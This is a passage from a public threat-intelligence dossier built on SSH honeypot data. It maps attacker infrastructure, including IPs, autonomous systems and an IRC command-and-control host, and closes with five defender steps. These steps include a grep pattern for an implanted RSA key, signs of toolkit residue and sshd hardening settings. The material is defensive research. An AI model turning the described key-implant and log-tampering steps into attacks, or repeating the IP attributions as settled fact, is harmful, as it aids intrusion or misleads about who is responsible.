๐ธ๐ฌ BytePlus / ByteDance โ adjacent hosts in one /21
Two IPs โ 101.47.156.170 and 101.47.159.125 โ live in the same 101.47.112.0/21, share the same admin contact (BPLA13-AP at 1 Raffles Quay, Singapore), and were active two days apart. Same operator. Almost certainly one host with multiple addresses, or two adjacent VMs on the same compromised tenant.
Cluster 3 ยท 1 IP
๐ Brand-new AS โ 4 months and 9 days old when it attacked
AS138000 allocated
2025-12-22
First seen attacking
2026-05-01
144.79.187.31 sits in AS138000, a block allocated to PT Antar Fiber Optik. New ASes get used by botnets for the same reason new domains do: clean reputation, no blocklist history. Worth flagging when triaging fresh allocations โ any AS less than ~6 months old appearing in attack traffic deserves extra scrutiny.
๐ Cross-dossier pivot
The same infrastructure surfaces in two dossiers
In TI-2026-007
mdrfckr botnet IRC C2
Cryptominer command channel
โ
In TI-2026-008 (this dossier)
Backdoor-Key dropper
SSH brute + key implant
198.98.56.205 ยท bullshit-irc.net ยท AS53667 FranTech / PONYNET
Same IP, same hostname, different role across two dossiers. The operator behind bullshit-irc.net is either running both campaigns from the same host, or the host has been compromised twice (and is now running both implants in parallel). Either way, the same infrastructure surfaces in two distinct investigations โ a useful pivot for further analysis, and a strong argument that the underground economy maps in TI-2026-007 should be re-checked for Backdoor-Key Harvester signatures.
IF YOU RUN LINUX SERVERS โ WHAT TO DO TONIGHT
Five concrete actions, ranked by urgency. Step 1 is the one most readers should run before reading anything else.
โก Step 1 ยท Do this first
Detect โ grep your authorized_keys for the implanted RSA blob
$ grep -rF 'AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv' \
/root/.ssh /home/*/.ssh /etc/ssh 2>/dev/null
โ
Silent output
Clean โ no implant on this host.
๐จ Any line returned
Compromised. Rotate credentials, rebuild from known-good media, do not trust the host until then.
Step 2 ยท Investigate
๐ Look for toolkit residue
Even on hosts the brute-force didn't compromise, check for:
- Empty
/etc/hosts.deny (toolkit-flushed)
- Missing
/tmp/secure.sh / /tmp/auth.sh
- Unaccounted
chpasswd in /var/log/auth.log
Step 3 ยท Harden
๐ Disable root password SSH
If you accept SSH from the public internet on root with passwords, this is the campaign that finds you.
PermitRootLogin no
PasswordAuthentication no
Defeats the entire toolkit: step 4 (chpasswd) is meaningless without password auth; step 2 (key install) requires successful login first.
Step 4 ยท Block (with caveat)
๐ง Add the 31 IPs to your blocklist
Useful as a short-term mitigation โ but understand they are compromised hosts, not the operator.
The operator will rotate to fresh victim hosts within hours of takedown. Treat the IP list as a moving target, not a fix.
Step 5 ยท Notify
๐จ Tell the abuse desks
If you operate at one of the netblocks listed in the WHOIS section above โ DigitalOcean, Microsoft, Google, Hetzner, ByteDance, SK Broadband, CTM, Mundivox, Etisalat, Ufanet, IDCloudHost, Cloud Host Pte Ltd, the smaller APAC/AFRINIC/LACNIC ISPs โ your customer at the listed IP is being used as a scanner. A short notification to the abuse-mailbox in the WHOIS record helps the operator's victim layer get rebuilt faster than the operator can replace it.
Investigation Period: 2026-03-28 โ 2026-05-01 (ongoing, 34+ days) ยท Analyst: Liศneanu Dumitru-Cristian + Copilot SOC ยท Classification: TLP:WHITE โ Public ยท Data Source: Cowrie SSH Honeypot (43 days of JSON event logs, 260 MB) ยท OSINT Sources: RIPE / APNIC / AFRINIC / LACNIC / ARIN WHOIS, team-cymru BGP origin AS, Shodan InternetDB, system DNS rDNS ยท Editorial principle: every WHOIS identifier reproduced verbatim from the public RIR record for the netblock that hit the honeypot. The honeypot caught what it caught. We are not the judges; we are the providers of what the records say.